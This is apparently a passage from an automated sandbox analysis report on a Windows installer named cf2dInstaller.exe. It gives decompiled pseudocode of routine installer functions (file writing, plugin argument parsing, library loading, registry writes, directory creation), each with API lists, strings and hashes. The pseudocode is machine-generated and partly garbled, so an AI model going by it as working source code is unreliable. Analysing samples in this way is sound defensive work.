					 *0x414b74 = 0x40cb70;
					 *0x414b70 = 0x414b70;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L45;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t104 = 0x4000;
						if(_a16 < 0x4000) {
							_t104 = _a16;
						}
						if(E0040307D(0x414b88, _t104) == 0) {
							goto L34;
						}
						_a16 = _a16 - _t104;
						 *0x40afc0 = 0x414b88;
						 *0x40afc4 = _t104;
						while(1) {
							_t100 = _v16;
							 *0x40afc8 = _t100;
							 *0x40afcc = _v12;
							_t79 = E00405E08("<]A");
							_v28 = _t79;
							if(_t79 < 0) {
								break;
							}
							_t105 =  *0x40afc8; // 0x41b188
							_t106 = _t105 - _t100;
							_t80 = GetTickCount();
							_t101 = _t80;
							if(( *0x42ec14 & 0x00000001) != 0 && (_t80 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v92, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t107 = _t107 + 0xc;
								E00404DAA(0,  &_v92);
								_v20 = _t101;
							}
							if(_t106 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L45;
							} else {
								if(_a12 != 0) {
									_t82 =  *0x40afc8; // 0x41b188
									_v8 = _v8 + _t106;
									_v12 = _v12 - _t106;
									_v16 = _t82;
									L24:
									if(_v28 != 1) {
										continue;
									}
									goto L45;
								}
								_t84 = WriteFile(_a8, _v16, _t106,  &_v24, 0); // executed
								if(_t84 == 0 || _v24 != _t106) {
									goto L29;
								} else {
									_v8 = _v8 + _t106;
									goto L24;
								}
							}
						}
						_push(0xfffffffc);
						goto L35;
					}
					goto L34;
				}
			}

0x00402e63
0x00402e67
0x00402e6a
0x00402e6f
0x00402e71
0x00402e71
0x00402e78
0x00402e7c
0x00402e81
0x00402e83
0x00402e83
0x00402e8a
0x00402e8f
0x00402e91
0x00402e9a
0x00402e9a
0x00402ea5
0x00402eac
0x00403028
0x00403028
0x00000000
0x00402eb2
0x00402eb6
0x00403013
0x00403068
0x0040302d
0x00403033
0x00403035
0x00403035
0x00403046
0x00000000
0x00403048
0x0040305b
0x0040300d
0x0040300d
0x0040302a
0x0040302a
0x00000000
0x00403062
0x00403062
0x00403065
0x00000000
0x00403065
0x0040305b
0x00403046
0x00403073
0x00000000
0x00403073
0x00403018
0x0040301a
0x0040301a
0x00403026
0x00403070
0x00000000
0x00000000
0x00000000
0x00000000
0x00403026
0x00402ec2
0x00402ec4
0x00402ecb
0x00402ed2
0x00402ed2
0x00402ed9
0x00402ee1
0x00402eeb
0x00402ef0
0x00402ef8
0x00402f02
0x00402f05
0x00000000
0x00000000
0x00000000
0x00000000
0x00402f0b
0x00402f0b
0x00402f0b
0x00402f13
0x00402f15
0x00402f15
0x00402f26
0x00000000
0x00000000
0x00402f2c
0x00402f2f
0x00402f35
0x00402f3b
0x00402f3b
0x00402f46
0x00402f4c
0x00402f51
0x00402f58
0x00402f5b
0x00000000
0x00000000
0x00402f61
0x00402f67
0x00402f69
0x00402f72
0x00402f74
0x00402fa2
0x00402fa8
0x00402fb1
0x00402fb6
0x00402fb6
0x00402fbd
0x00403001
0x00000000
0x00000000
0x00000000
0x00402fbf
0x00402fc2
0x00402fe4
0x00402fe9
0x00402fec
0x00402fef
0x00402ff2
0x00402ff6
0x00000000
0x00000000
0x00000000
0x00402ffc
0x00402fd0
0x00402fd8
0x00000000
0x00402fdf
0x00402fdf
0x00000000
0x00402fdf
0x00402fd8
0x00402fbd
0x00403009
0x00000000
0x00403009
0x00000000
0x00402f0b

APIs

GetTickCount.KERNEL32 ref: 00402EC2
GetTickCount.KERNEL32 ref: 00402F69
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F92
wsprintfA.USER32 ref: 00402FA2
WriteFile.KERNEL32(00000000,00000000,0041B188,7FFFFFFF,00000000), ref: 00402FD0

Strings

<]A, xrefs: 00402F2F, 00402F41
... %d%%, xrefs: 00402F9C

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%$<]A
API String ID: 4209647438-295345455
Opcode ID: 41e35a0a14bb3f2fd38d9c716afd6c3ba0ace6c0ea9dec4adf0e27dc0e0f292a
Instruction ID: 0d39cdfb2b20f01ea0ef459ff81ac6f09524c508dd7874cbed1e127a204ff5ac
Opcode Fuzzy Hash: 41e35a0a14bb3f2fd38d9c716afd6c3ba0ace6c0ea9dec4adf0e27dc0e0f292a
Instruction Fuzzy Hash: 3D618D7190121AEBDF10CF65DA44A9E7BB8EF04366F10413BF800B72D4D7789A51DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 70551990, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 100
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E70551990(void* __eflags, long _a8, intOrPtr _a12, signed int _a16, intOrPtr* _a20) {
				void* _t26;
				intOrPtr _t28;
				long _t29;
				void* _t34;
				void* _t36;
				long _t40;
				void* _t41;
				long _t42;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;
				void* _t53;
				void* _t54;

				_t42 = _a8;
				 *0x70554030 = _a16;
				 *0x70554034 = _a12;
				 *0x7055402c = _t42;
				 *((intOrPtr*)(_a20 + 0xc))( *0x70554010, E7055176B, _t47, _t50, _t41);
				_a16 = _a16 & 0x00000000;
				_t48 = GlobalAlloc(0, _t42);
				if(E70552058(_t48) != 0) {
					L13:
					_t26 = GlobalFree(_t48);
					if(_a16 != 0) {
						return _t26;
					}
					_t28 =  *_a20;
					 *((intOrPtr*)(_t28 + 8)) = 1;
					return _t28;
				} else {
					_t29 = E70551070(_t48);
					_pop(_t46);
					_a8 = _t29;
					_t53 = GlobalAlloc(0, _t42);
					if(_a8 == 0) {
						_t40 = E70551520(_t48);
						_pop(_t46);
						_a8 = _t40;
					}
					while(E70552058(_t48) == 0) {
						_push("/end");
						_push(_t48);
						if( *0x7055300c() == 0) {
							break;
						}
						if(_a8 == 0) {
							continue;
						}
						_t34 = E7055177D(_t46, _t48, "/key=", 5, 1);
						_t54 = _t54 + 0x10;
						if(_t34 != 0) {
							E70551100(_a8, _t53);
							_t36 = E70551670(_a8, _t53, _t48);
							_t54 = _t54 + 0x14;
							L9:
							if(_t36 != 0) {
								_a16 = 1;
							}
							continue;
						}
						_t12 = _t48 + 5; // 0x5
						 *0x70553010(_t53, _t12);
						if(E70552058(_t48) != 0) {
							continue;
						}
						_t36 = E70551670(_a8, _t53, _t48); // executed
						_t54 = _t54 + 0xc;
						goto L9;
					}
					GlobalFree(_t53);
					goto L13;
				}
			}

0x70551997
0x7055199c
0x705519af
0x705519b7
0x705519bd
0x705519c6
0x705519cf
0x705519d9
0x70551a82
0x70551a83
0x70551a90
0x70551a9f
0x70551a9f
0x70551a95
0x70551a97
0x00000000
0x705519df
0x705519e0
0x705519e5
0x705519e9
0x705519f2
0x705519f4
0x705519f7
0x705519fc
0x705519fd
0x705519fd
0x70551a71
0x70551a02
0x70551a07
0x70551a10
0x00000000
0x00000000
0x70551a16
0x00000000
0x00000000
0x70551a24
0x70551a29
0x70551a2e
0x70551a58
0x70551a62
0x70551a67
0x70551a6a
0x70551a6c
0x70551a6e
0x70551a6e
0x00000000
0x70551a6c
0x70551a30
0x70551a35
0x70551a43
0x00000000
0x00000000
0x70551a4a
0x70551a4f
0x00000000
0x70551a4f
0x70551a7c
0x00000000
0x70551a7c

APIs

GlobalAlloc.KERNEL32(00000000,?), ref: 705519CD

Part of subcall function 70552058: lstrcpy.KERNEL32(?,00000004), ref: 70552077
Part of subcall function 70552058: GlobalFree.KERNEL32(00000000), ref: 70552087

GlobalFree.KERNEL32(00000000), ref: 70551A83

Part of subcall function 70551070: lstrcmp.KERNEL32(00000000,?), ref: 70551094

GlobalAlloc.KERNEL32(00000000,?,00000000), ref: 705519EC
GlobalFree.KERNEL32(00000000), ref: 70551A7C

Part of subcall function 70551520: lstrcmp.KERNEL32(00000000,?), ref: 70551539
Part of subcall function 70551520: GlobalAlloc.KERNEL32(00000000,00000020,00000000,00000000,?,?,705519FC,00000000), ref: 70551551
Part of subcall function 70551520: lstrlen.KERNEL32(?,?,705519FC,00000000), ref: 7055155A
Part of subcall function 70551520: GlobalAlloc.KERNEL32(00000000,00000001,?,705519FC,00000000), ref: 70551563
Part of subcall function 70551520: lstrcpy.KERNEL32(00000000,?), ref: 7055156D

Strings

/end, xrefs: 70551A02
/key=, xrefs: 70551A1E

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: Global$Alloc$Free$lstrcmplstrcpy$lstrlen
String ID: /end$/key=
API String ID: 633044038-716318253
Opcode ID: 17ad3430434fca40da4a617f253247d7de89061f51ae08144d2317bb82af8fc8
Instruction ID: a3d3f24f7fb837a49e475f6e560c89aff90817859ea5914ef3ca022e40657865
Opcode Fuzzy Hash: 17ad3430434fca40da4a617f253247d7de89061f51ae08144d2317bb82af8fc8
Instruction Fuzzy Hash: B2316175501204AFD7029F25DC8DB6F3FBAEF45255F10401BFD0A9A2A0E734A9089BA9

Uniqueness

Uniqueness Score: -1.00%

Function 02F91C59, Relevance: 12.1, APIs: 8, Instructions: 51
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E02F91C59(struct HWND__* _a4) {
				struct tagMSG _v32;
				int _t14;

				SendMessageA(_a4, 0x40d,  *0x2f950c0, 0);
				ShowWindow( *0x2f950c0, 8); // executed
				if( *0x2f950c0 != 0) {
					do {
						GetMessageA( &_v32, 0, 0, 0); // executed
						_t14 = IsDialogMessageA( *0x2f950c0,  &_v32); // executed
						if(_t14 == 0 && IsDialogMessageA( *0x2f950c4,  &_v32) == 0) {
							TranslateMessage( &_v32);
							DispatchMessageA( &_v32); // executed
						}
					} while ( *0x2f950c0 != 0);
				}
				return SetWindowLongA(_a4, 4,  *0x2f950c8);
			}

0x02f91c71
0x02f91c7f
0x02f91c8b
0x02f91c94
0x02f91c9b
0x02f91cab
0x02f91caf
0x02f91cc5
0x02f91ccf
0x02f91ccf
0x02f91cd5
0x02f91cdd
0x02f91cf1

APIs

SendMessageA.USER32(?,0000040D,00000000), ref: 02F91C71
ShowWindow.USER32(00000008), ref: 02F91C7F
KiUserCallbackDispatcher.NTDLL ref: 02F91C9B
IsDialogMessageA.USER32(?), ref: 02F91CAB
IsDialogMessageA.USER32(?), ref: 02F91CBB
TranslateMessage.USER32(?), ref: 02F91CC5
DispatchMessageA.USER32 ref: 02F91CCF
SetWindowLongA.USER32 ref: 02F91CE9

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: Message$DialogWindow$CallbackDispatchDispatcherLongSendShowTranslateUser
String ID:
API String ID: 4159918924-0
Opcode ID: 1c289f2beb3e056dd93f0d3a1221c2ccbb1ea4e760c9694fea8c65303eb7aa1f
Instruction ID: 7c69d12fd63ab3b3a208e59f26d510f4f7b521c46e234b54289142dfe69d1917
Opcode Fuzzy Hash: 1c289f2beb3e056dd93f0d3a1221c2ccbb1ea4e760c9694fea8c65303eb7aa1f
Instruction Fuzzy Hash: FB110C72D8020EABDF129B95ED09E9BBB7DFB45B85B804461F60592020D7309425DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00401F51(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x42ec18");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x42ebe8 =  *0x42ebe8 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E004029F6(0xfffffff0);
				 *(_t34 + 8) = E004029F6(1);
				if( *((intOrPtr*)(_t34 - 0x14)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404DAA(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x1c)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 0x34)), 0x400, "6898", 0x40af80, "��B"); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x1c)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x18)) == _t27 && E004034F5(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f51
0x00401f51
0x00401f56
0x00401f5d
0x00402019
0x00402164
0x00402164
0x0040288b
0x0040288e
0x0040289a
0x0040289a
0x00401f6c
0x00401f76
0x00401f79
0x00401f88
0x00401f8c
0x00401f92
0x00401f96
0x00402012
0x00000000
0x00402012
0x00401f98
0x00401fa2
0x00401fa6
0x00401fea
0x00401fa8
0x00401fab
0x00401fae
0x00401fde
0x00401fb0
0x00401fb3
0x00401fbc
0x00401fbe
0x00401fbe
0x00401fbc
0x00401fae
0x00401ff2
0x00402007
0x00402007
0x00000000
0x00401ff2
0x00401f7c
0x00401f82
0x00401f86
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404DAA: lstrlenA.KERNEL32(004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000,?), ref: 00404DE3
Part of subcall function 00404DAA: lstrlenA.KERNEL32(00402FB6,004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000), ref: 00404DF3
Part of subcall function 00404DAA: lstrcatA.KERNEL32(004297B8,00402FB6,00402FB6,004297B8,00000000,0041B188,7519EA30), ref: 00404E06
Part of subcall function 00404DAA: SetWindowTextA.USER32(004297B8,004297B8), ref: 00404E18
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E3E
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E58
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E66

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?,?,00000008,00000001,000000F0), ref: 00401F9C
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Strings

B, xrefs: 00401FC7
6898, xrefs: 00401FD1

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: 6898$B
API String ID: 2987980305-299891639
Opcode ID: 7801585ffc0b9ac36e2f6c86c8f002994cbbb77bfdbfe2fb33793952b630982a
Instruction ID: bf94c0598684f4a2e8798aed6ecd64900ad0f6fcd097f114c8a1beddd358b100
Opcode Fuzzy Hash: 7801585ffc0b9ac36e2f6c86c8f002994cbbb77bfdbfe2fb33793952b630982a
Instruction Fuzzy Hash: 5121EE72D04216EBCF107FA5CE49A6E75B06F45358F20433BF511B62E1C77C4941A65E

Uniqueness

Uniqueness Score: -1.00%

Function 00402303, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402303(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				long _t22;
				char _t24;
				int _t27;
				signed int _t30;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402AEB(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x14));
				 *(_t37 - 0x30) =  *(_t37 - 0x10);
				 *(_t37 - 0x44) = E004029F6(2);
				_t18 = E004029F6(0x11);
				_t30 =  *0x42ec10; // 0x0
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27, _t30 | 0x00000002, _t27, _t37 + 8, _t27); // executed
				if(_t19 == 0) {
					if(_t35 == 1) {
						E004029F6(0x23);
						_t19 = lstrlenA(0x40a380) + 1;
					}
					if(_t35 == 4) {
						_t24 = E004029D9(3);
						 *0x40a380 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E5B( *((intOrPtr*)(_t37 - 0x18)), _t27, 0x40a380, 0xc00);
					}
					_t22 = RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x44), _t27,  *(_t37 - 0x30), 0x40a380, _t19); // executed
					if(_t22 == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey(); // executed
				}
				 *0x42ebe8 =  *0x42ebe8 +  *(_t37 - 4);
				return 0;
			}

0x00402304
0x00402309
0x00402313
0x0040231d
0x00402320
0x0040232a
0x0040233a
0x00402341
0x00402349
0x00402357
0x0040235b
0x00402366
0x00402366
0x0040236a
0x0040236e
0x00402374
0x00402379
0x00402379
0x0040237d
0x00402389
0x00402389
0x0040239a
0x004023a2
0x004023a4
0x004023a4
0x004023a7
0x0040247d
0x0040247d
0x0040288e
0x0040289a

APIs

RegCreateKeyExA.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nshFB42.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nshFB42.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.KERNEL32(?,?,?,C:\Users\user\AppData\Local\Temp\nshFB42.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nshFB42.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nshFB42.tmp
API String ID: 1356686001-2459264828
Opcode ID: feee39b2995d5713698e39181d4267c001e0350d88117aa5d933f9716d921611
Instruction ID: 74c2b7e5efa1a9b7d251dd878628ee018497e02546d33d1ea7114f4406d6c15c
Opcode Fuzzy Hash: feee39b2995d5713698e39181d4267c001e0350d88117aa5d933f9716d921611
Instruction Fuzzy Hash: 721160B1E00209BFEB10AFA5DE89EAF767CFB40398F10453AF901B71D0D6B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
				struct _SECURITY_ATTRIBUTES** _t10;
				int _t19;
				struct _SECURITY_ATTRIBUTES* _t20;
				signed char _t22;
				struct _SECURITY_ATTRIBUTES* _t23;
				CHAR* _t25;
				struct _SECURITY_ATTRIBUTES** _t29;
				void* _t30;

				_t23 = __ebx;
				_t25 = E004029F6(0xfffffff0);
				_t10 = E00405593(_t25);
				_t27 = _t10;
				if(_t10 != __ebx) {
					do {
						_t29 = E0040552A(_t27, 0x5c);
						 *_t29 = _t23;
						 *((char*)(_t30 + 0xb)) =  *_t29;
						_t19 = CreateDirectoryA(_t25, _t23); // executed
						if(_t19 == 0) {
							if(GetLastError() != 0xb7) {
								L4:
								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
							} else {
								_t22 = GetFileAttributesA(_t25); // executed
								if((_t22 & 0x00000010) == 0) {
									goto L4;
								}
							}
						}
						_t20 =  *((intOrPtr*)(_t30 + 0xb));
						 *_t29 = _t20;
						_t27 =  &(_t29[0]);
					} while (_t20 != _t23);
				}
				if( *((intOrPtr*)(_t30 - 0x20)) == _t23) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405A0C("C:\\Users\\alfons\\AppData\\Local\\Temp", _t25);
					SetCurrentDirectoryA(_t25); // executed
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d6
0x004015d8
0x004015db
0x004015e3
0x004015f0
0x004015fd
0x004015fd
0x004015f2
0x004015f3
0x004015fb
0x00000000
0x00000000
0x004015fb
0x004015f0
0x00401600
0x00401603
0x00401605
0x00401606
0x004015c8
0x0040160d
0x0040162d
0x00402164
0x0040160f
0x00401611
0x0040161c
0x00401622
0x00401622
0x0040288e
0x0040289a

APIs

Part of subcall function 00405593: CharNextA.USER32(ES@,?,0042B3E8,00000000,004055F7,0042B3E8,0042B3E8,?,?,00000000,00405345,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 004055A1
Part of subcall function 00405593: CharNextA.USER32(00000000), ref: 004055A6
Part of subcall function 00405593: CharNextA.USER32(00000000), ref: 004055B5

CreateDirectoryA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401617

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 3751793516-1943935188
Opcode ID: e9d59eda693b922a5fdb80184fc3babb31ba0cd8e1a3062a527ae998bf2baf8a
Instruction ID: bf1eb0eabc3c1df6ff2fb323ed3efcd7168262dea338722757ad05095e7f5395
Opcode Fuzzy Hash: e9d59eda693b922a5fdb80184fc3babb31ba0cd8e1a3062a527ae998bf2baf8a
Instruction Fuzzy Hash: AB012631908180AFDB217F756D449BF6BB0EA56365728073FF492B22E2C23C4D42962E

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D1B() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 0x34)), 0x5a);
				0x40af84->lfHeight =  ~(MulDiv(E004029D9(2), _t6, 0x48));
				 *0x40af94 = E004029D9(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x14));
